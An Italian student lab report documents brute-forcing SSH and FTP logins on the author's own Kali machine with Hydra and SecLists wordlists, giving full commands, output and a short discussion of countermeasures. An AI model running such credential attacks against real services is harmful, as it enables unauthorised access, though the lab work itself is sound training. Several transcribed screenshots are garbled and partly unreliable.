



Sommario

1. Traccia.....	2
2. Svolgimento.....	2
3. Considerazioni tecniche e conclusioni	6

1. Traccia

L'esercitazione odierna ha un duplice obiettivo:

- Prendere familiarità con Hydra per il cracking dell'autenticazione dei servizi di rete.
- Consolidare le conoscenze acquisite riguardo i servizi stessi, attraverso la loro configurazione.

L'esercizio si articola in due fasi:

- Una prima fase guidata, durante la quale verrà abilitato un servizio SSH e verrà effettuato un attacco di brute-force con Hydra.
- Una seconda fase libera, in cui ciascuno potrà scegliere e configurare un servizio di rete a piacere tra quelli disponibili (es. FTP, RDP, Telnet, HTTP authentication) e tentare un attacco con Hydra.

2. Svolgimento

- Creazione dell'utente `test_user` su Kali Linux con password `testpass`, come da istruzioni.

```
kali@kali: ~  
File Actions Edit View Help  
zsh: corrupt history file /home/kali/.zsh_history  
(kali@kali)~  
$ sudo adduser test_user  
[sudo] password for kali:  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
Full Name []:  
Room Number []:  
Work Phone []:  
Home Phone []:  
Other []:  
Is the information correct? [Y/n] y
```

- Avvio del servizio SSH con il comando: `sudo service ssh start`

```
(kali@kali)~  
$ sudo service ssh start
```

- Verifica della connessione SSH del nuovo utente con il comando: `sudo test_user@<ip_macchina_kali>`.
L'indirizzo IP è stato precedentemente ricavato con il comando `ip a`

```
(kali@kali)~  
$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
    inet6 ::1/128 scope host noprefixroute  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:63:ec:64 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.1.12/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0  
        valid_lft 85492sec preferred_lft 85492sec  
    inet6 fe80::ec01:1af2:8c28:1409/64 scope link noprefixroute  
        valid_lft forever preferred_lft forever  
  
(kali@kali)~  
$ ssh test_user@192.168.1.12  
The authenticity of host '192.168.1.12 (192.168.1.12)' can't be established.  
ED25519 key fingerprint is SHA256:7SW6wkr/FAZd/KhC9s+Q5LyCePLi38N+eFmFMTTVR80.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.1.12' (ED25519) to the list of known hosts.  
test_user@192.168.1.12's password:  
Linux kali 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.
```

Sedotaa Gfunt

- Download di **SecLists**, una raccolta di liste di username e password da utilizzare per i test di brute-force.

```
(kali@kali)~$ sudo apt install seclists
[sudo] password for kali:
seclists is already the newest version (2025.1-0kali1).
The following packages were automatically installed and are no longer required:
firebird3.0-common libgdal35 libicu-dev libqt5sensors5 python3.12
firebird3.0-common-doc libgeos3.13.0 libjxl0.9 libqt5webkit5 python3.12-dev
icu-devtools libgl1-mesa-dev libjls0 libsuperlu6 python3.12-minimal
libabsl20230802 libglapi-mesa libldap-2.5-0 libtag1v5 python3.12-tk
libbfio1 libgles-dev libmbcrypto7t64 libtag1v5-vanilla python3.12-venv
libc++1-19 libgles1 libmbsgraph-0-1 libtagc0 ruby-zeitwerk
libc++abi1-19 libglvnd-core-dev libnetcdf19t64 libunwind-19 ruby3.1
libcapstone4 libglvnd-dev libopenh264-7 libwebRTC-audio-processing1 ruby3.1-dev
libconfig+9v5 libgtksourceview-3.0-1 libpaper1 libx265-209 ruby3.1-doc
libconfig9 libgtksourceview-3.0-common libpoppler140 openjdk-23-jre strongswan
libdirectfb-1.7-7t64 libgtksourceviewmm-3.0-0v5 libpython3.12-dev openjdk-23-jre-headless
libegl-dev libgumbo2 libpython3.12-minimal python3-appdirs
libflac12t64 libhdf5-103-1t64 libpython3.12-stdlib python3-ntlm-auth
libfmt9 libhdf5-hl-100t64 libpython3.12t64 python3-setproctitle

Use 'sudo apt autoremove' to remove them.

Summary:
Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 177
```

- Configurazione di **Hydra** per il cracking del servizio SSH con il seguente comando:

hydra -L <username_list> -P <password_list> <IP_Kali> -t4 ssh

Le liste di username e password sono state ottenute da SecLists.

```
(kali@kali)~$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwor
ds-100000.txt 192.168.1.12 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal pu
rposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 10:34:44
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwri
ting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (l:8295455/p:100000), ~207386375000 tries per task
[DATA] attacking ssh://192.168.1.12:22/
[ATTEMPT] target 192.168.1.12 - login "info" - pass "123456" - 1 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "password" - 2 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "12345678" - 3 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "qwerty" - 4 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "123456789" - 5 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "12345" - 6 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "1234" - 7 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "111111" - 8 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "1234567" - 9 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "dragon" - 10 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "123123" - 11 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "baseball" - 12 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "abc123" - 13 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "football" - 14 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "monkey" - 15 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "letmein" - 16 of 829545500000 [child 3] (0/0)
```

- Per ottimizzare i tempi, le liste sono state modificate manualmente inserendo **test_user** e **testpass** come primi elementi.

Per fare ciò, si è utilizzata la combinazione **Ctrl+W** per cercare le parole chiave all'interno del file, poi spostate all'inizio.

Infine, i file sono stati salvati con **Ctrl+X**, confermando con **yes**.

```
(kali@kali)-[~]
$ sudo nano /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

testagain EMPT] target 192.168.1.12 - login "info" - pass "123456789" - 5 of 82954
testad EMPT] target 192.168.1.12 - login "info" - pass "12345" - 6 of 82954
testaccess EMPT] target 192.168.1.12 - login "info" - pass "1234" - 7 of 82954
testacc44-test target 192.168.1.12 - login "info" - pass "111111" - 8 of 82954
testacc44 EMPT] target 192.168.1.12 - login "info" - pass "1234567" - 9 of 82954
testacc1 EMPT] target 192.168.1.12 - login "info" - pass "dragon" - 10 of 82954
testable EMPT] target 192.168.1.12 - login "info" - pass "123123" - 11 of 82954
test422 EMPT] target 192.168.1.12 - login "info" - pass "baseball" - 12 of 82954
test_user EMPT] target 192.168.1.12 - login "info" - pass "abc123" - 13 of 82954
test9999 EMPT] target 192.168.1.12 - login "info" - pass "football" - 14 of 82954
test989 EMPT] target 192.168.1.12 - login "info" - pass "monkey" - 15 of 82954
test911 EMPT] target 192.168.1.12 - login "info" - pass "lerwein" - 16 of 82954
test91 EMPT] target 192.168.1.12 - login "info" - pass "666666" - 17 of 82954
test90 EMPT] target 192.168.1.12 - login "info" - pass "shadow" - 18 of 82954
test9 EMPT] target 192.168.1.12 - login "info" - pass "master" - 19 of 82954
test888 EMPT] target 192.168.1.12 - login "info" - pass "666666" - 20 of 82954
test8765 EMPT] target 192.168.1.12 - login "info" - pass "qwertyuiop" - 21 of 82954
test777 EMPT] target 192.168.1.12 - login "info" - pass "123321" - 22 of 82954
test74747 EMPT] target 192.168.1.12 - login "info" - pass "mustang" - 23 of 82954
test62 EMPT] target 192.168.1.12 - login "info" - pass "1234567890" - 24 of 82954
test60 EMPT] target 192.168.1.12 - login "info" - pass "michael" - 25 of 82954
test58 EMPT] target 192.168.1.12 - login "info" - pass "654321" - 26 of 82954
test567 EMPT] target 192.168.1.12 - login "info" - pass "pussy" - 27 of 82954
test557 EMPT] target 192.168.1.12 - login "info" - pass "superman" - 28 of 82954
test555 EMPT] target 192.168.1.12 - login "info" - pass "lgaz2wsx" - 29 of 82954
test54204 EMPT] target 192.168.1.12 - login "info" - pass "7777777" - 30 of 82954
test51 EMPT] target 192.168.1.12 - login "info" - pass "fuckyou" - 31 of 82954
test507 EMPT] target 192.168.1.12 - login "info" - pass "121212" - 32 of 82954
test4you EMPT] target 192.168.1.12 - login "info" - pass "000000" - 33 of 82954
test4el EMPT] target 192.168.1.12 - login "info" - pass "qazwsx" - 34 of 82954
test44 EMPT] target 192.168.1.12 - login "info" - pass "123qwe" - 35 of 82954
test42 EMPT] target 192.168.1.12 - login "info" - pass "killer" - 36 of 82954
Search [test_user]: test_user

File Actions Edit View Help
GNU nano 8.3 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt *
test_user
info
admin
2000
michael
www
```

```
(kali@kali)-[~]
$ sudo nano /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt

File Actions Edit View Help
GNU nano 8.3 /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt
testpass
123456
password
12345678
qwerty
```


Sottoscr. G. J. J.

- Esecuzione del comando **Hydra**: l'username e la password vengono individuati rapidamente.

```
(kali@kali)~$ hydra -L /usr/share/seclists/Username/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt 192.168.1.12 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these **
anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 10:57:47
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (l:8295455/p:1000000), ~207386375000 tries per task
[DATA] attacking ssh://192.168.1.12:22/
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "testpass" - 1 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "123456" - 2 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "password" - 3 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "12345678" - 4 of 829545500000 [child 3] (0/0)
[22][ssh] host: 192.168.1.12 login: test_user password: testpass
[ATTEMPT] target 192.168.1.12 - login "info" - pass "testpass" - 100001 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "123456" - 100002 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "password" - 100003 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "12345678" - 100004 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "qwerty" - 100005 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "123456789" - 100006 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "12345" - 100007 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "1234" - 100008 of 829545500000 [child 0] (0/0)
```

- Ripetizione dello stesso procedimento per il servizio **FTP**, installando precedentemente vsftpd e avviando il servizio.

```
(kali@kali)~$ sudo apt install vsftpd
The following packages were automatically installed and are no longer required:
firebird3.0-common libconfig libgdes-dev libhdfs-hl-100t64 libpaper1 libtag1v5
firebird3.0-common-doc libdirectfb-1.7-7t64 libgles1 libicu-dev libpoppler140 libtag1v5-vanilla
python3-ntlm-auth ruby3.1-dev
icu-devtools libegl-dev libglvnd-core-dev libjx10.9 libpython3.12-dev libtagc0 python3-setproctitle ruby3.1-doc
libb212020802 libfcl2t64 libglvnd-dev liblbf650 libpython3.12-minimal libunwind-19 python3.12-dev
libbf101 libf9t9 libgtksourcview-3.0-1 libldap-2.5-0 libpython3.12-stdlib libwebp-10 python3.12-minimal
libc++1-19 libgd135 libgtksourcview-3.0-common libmbedtls7t64 libpython3.12t64 libx265-209 python3.12-tk
libc++abi1-19 libgeos3.13.0 libgtksourcviewmm-3.0-0v5 libmbsgraph-0-1 libqt5sensors5 python3.12-venv
libcspost4 libgl1-mesa-dev libgumbo2 libnetcdf10t64 libqt5webkit5 openjdk-23-jre-headless ruby-zeitwerk
libconfig+9v5 libglapi-mesa libhdfs-103-1t64 libopenh264-7 libsuperlu5 python3-appdirs ruby3.1

Use 'sudo apt autoremove' to remove them.

Installing:
vsftpd

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 177
Download size: 143 KB
Space needed: 352 KB / 48.2 GB available

Get:1 http://kali.download/kali-kali-rolling/main amd64 vsftpd amd64 3.0.5-0.1 [143 KB]
Fetched 143 KB in 0s (242 KB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 453772 files and directories currently installed.)
Preparing to unpack .../vsftpd.3.0.5-0.1_amd64.deb ...
Unpacking vsftpd (3.0.5-0.1) ...
Setting up vsftpd (3.0.5-0.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2025.1.1) ...
```

```
(kali@kali)~$ sudo service vsftpd start
(kali@kali)~$ hydra -L /usr/share/seclists/Username/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt 192.168.1.12 -t10 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these **
anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 11:01:17
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 10 tasks per 1 server, overall 10 tasks, 829545500000 login tries (l:8295455/p:1000000), ~829545500000 tries per task
[DATA] attacking ftp://192.168.1.12:21/
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "testpass" - 1 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "123456" - 2 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "password" - 3 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "12345678" - 4 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "qwerty" - 5 of 829545500000 [child 4] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "123456789" - 6 of 829545500000 [child 5] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "12345" - 7 of 829545500000 [child 6] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "1234" - 8 of 829545500000 [child 7] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "111111" - 9 of 829545500000 [child 8] (0/0)
[ATTEMPT] target 192.168.1.12 - login "test_user" - pass "1234567" - 10 of 829545500000 [child 9] (0/0)
[21][ftp] host: 192.168.1.12 login: test_user password: testpass
[ATTEMPT] target 192.168.1.12 - login "info" - pass "testpass" - 100001 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "123456" - 100002 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.12 - login "info" - pass "password" - 100003 of 829545500000 [child 2] (0/0)
```

3. Considerazioni tecniche e conclusioni

L'esercitazione ha rappresentato un'opportunità concreta per mettere in pratica strumenti e concetti fondamentali nell'ambito della sicurezza informatica, in particolare relativi al cracking delle credenziali e alla configurazione dei servizi di rete.

L'utilizzo di Hydra ha permesso di comprendere le potenzialità degli attacchi di tipo brute-force verso servizi come SSH e FTP. Lo strumento si è dimostrato efficace, soprattutto in un ambiente controllato con credenziali note, ma allo stesso tempo ha evidenziato le limitazioni di questo tipo di approccio: tempi lunghi, necessità di liste ottimizzate, e vulnerabilità a contromisure comuni come il rate limiting, fail2ban o account lockout.

La possibilità di manipolare le wordlist (inserendo username e password in cima) ha messo in luce l'importanza dell'ottimizzazione dei dizionari, e quanto questa possa incidere sull'efficacia e sui tempi dell'attacco.

Dal punto di vista didattico, l'attività ha anche consolidato la comprensione della configurazione dei servizi (come SSH e FTP), evidenziando come ogni servizio richieda attenzione specifica in fase di installazione e messa in sicurezza.

In sintesi, l'esercizio ha offerto un'esperienza utile e completa per sviluppare competenze sia tecniche (uso di strumenti, configurazione di servizi) che analitiche (valutazione della sicurezza, riflessione sui rischi e sulle contromisure), ponendo le basi per futuri approfondimenti nel campo del penetration testing e della sicurezza dei sistemi.